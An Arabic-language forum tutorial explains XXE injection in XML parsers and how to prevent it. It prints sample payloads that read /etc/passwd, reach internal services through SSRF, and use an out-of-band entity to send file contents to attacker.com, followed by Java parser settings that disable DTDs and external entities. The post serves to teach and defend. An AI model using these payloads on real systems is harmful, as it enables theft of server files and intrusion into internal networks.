شرح ثغرة XXE في XML وكيفية استغلالها

x32x01
  • بواسطة x32x01 ||
لو مهتم بـ الأمن السيبراني أو اختبار الاختراق، أكيد سمعت عن ثغرة XXE أو XML External Entity Injection 👨‍💻
الثغرة دي تعتبر من أخطر ثغرات Web Security لأنها ممكن تدي للمهاجم وصول لملفات حساسة أو حتى الشبكة الداخلية!
في البوست ده هنشرحها بطريقة بسيطة + أمثلة عملية تساعدك تفهمها بجد 👇

ما هي ثغرة XXE؟​

ببساطة، ثغرة XXE بتحصل لما:
✔ التطبيق يستقبل XML Input
✔ ويعمله Parsing باستخدام XML Parser
✔ بدون Validation أو تأمين كافي
📌 هنا المهاجم يقدر يحقن XML Entities خبيثة ويتحكم في المعالجة.



كيف تعمل XML و Entities؟​

قبل ما نفهم الاستغلال، لازم نفهم حاجتين مهمين:

1. ما هو DTD؟​

DTD (Document Type Definition) هو ملف أو جزء داخل XML بيحدد:
  • شكل البيانات
  • Structure بتاع XML

2. ما هي Entities؟​

Entities عبارة عن متغيرات داخل XML ممكن تستدعيها داخل الكود.

مثال بسيط:​

HTML:
<!ENTITY hello "Hello">
<name>&hello;</name>
📌 النتيجة: Hello



كيف يتم استغلال ثغرة XXE؟​

لو التطبيق مش مأمن كويس، المهاجم يقدر يعمل Injection زي كده:
Code:
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>
📌 النتيجة:
السيرفر هيقرأ ملف /etc/passwd ويرجعه للمهاجم 😱



أشهر طرق استغلال XXE​

1. قراءة ملفات السيرفر (File Disclosure)​

أخطر استخدام:
  • قراءة ملفات النظام
  • استخراج بيانات حساسة

2. تنفيذ SSRF (Server-Side Request Forgery)​

المهاجم يقدر يخلي السيرفر يطلب بيانات من:
  • Internal APIs
  • Local services
  • شبكات داخلية
Code:
<!ENTITY xxe SYSTEM "http://internal-service">

3. Blind XXE (بدون ظهور البيانات)​

في بعض الحالات، البيانات مش بترجع في Response
هنا المهاجم يستخدم Out-of-Band (OOB)
📌 الفكرة:
  • يبعت البيانات لسيرفر خارجي
  • ويشوفها من Logs

مثال عملي:​

Code:
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % data SYSTEM "http://attacker.com/?x=%file;">

4. استخدام Local DTD (حيلة متقدمة)​

لو السيرفر مانع تحميل DTD خارجي:
✔ المهاجم يستخدم DTD موجود على السيرفر نفسه
✔ ويعمل Override للـ Entities​
📌 التقنية دي اسمها: Repurposing a Local DTD



ماذا يحدث عند نجاح الهجوم؟​

لو الثغرة موجودة، المهاجم ممكن:
  • 📂 يقرأ ملفات حساسة
  • 🌐 يوصل للشبكة الداخلية
  • 🔐 يتجاوز Firewall
  • 💣 ينفذ هجمات متقدمة



كيف تحمي نفسك من XXE؟​

دي أهم نقطة لأي Developer أو System Admin 🔥

1. تعطيل الـ DTD نهائيًا​

في معظم اللغات:
Code:
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

2. تعطيل External Entities​

Code:
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);

3. استخدام Parsers آمنة​

اختار مكتبات حديثة وآمنة بدل القديمة.

4. التحقق من المدخلات (Input Validation)​

  • فلترة XML input
  • منع أي أكواد مش متوقعة

5. استخدام JSON بدل XML (إن أمكن)​

📌 JSON مفيهوش Entities وبالتالي بيقلل خطر XXE.



أفضل طرق التعلم والتطبيق​

لو عايز تتقن الموضوع:
  • جرب على CTFs
  • حل Machines
  • اقرأ Writeups
  • استخدم أدوات زي:
    • Burp Suite
    • OWASP ZAP



الخلاصة​

ثغرة XXE من أخطر ثغرات التطبيقات اللي بتتعامل مع XML لأنها:
  • بتسمح بقراءة ملفات السيرفر
  • ممكن تؤدي لـ SSRF
  • أحيانًا بتكون مخفية (Blind XXE)
📌 أهم حاجة:
لو بتطور تطبيقات → أمّن الـ XML Parser
لو بتتعلم Pentesting → ركّز على استغلالها عمليًا




نصيحة أخيرة​

لو فهمت XXE كويس، هتفتح لنفسك باب كبير في Web Security & Bug Bounty 💰
ابدأ طبق… وهتفهم أسرع بكتير 👌
 
التعديل الأخير:
المواضيع ذات الصلة
x32x01
الردود
0
المشاهدات
1K
x32x01
x32x01
x32x01
الردود
0
المشاهدات
1K
x32x01
x32x01
x32x01
الردود
0
المشاهدات
1K
x32x01
x32x01
x32x01
الردود
0
المشاهدات
857
x32x01
x32x01
x32x01
الردود
0
المشاهدات
220
x32x01
x32x01
الدخول أو التسجيل السريع
نسيت كلمة مرورك؟
إحصائيات المنتدى
المواضيع
2,509
المشاركات
2,702
أعضاء أكتب كود
577
أخر عضو
سراب
عودة
أعلى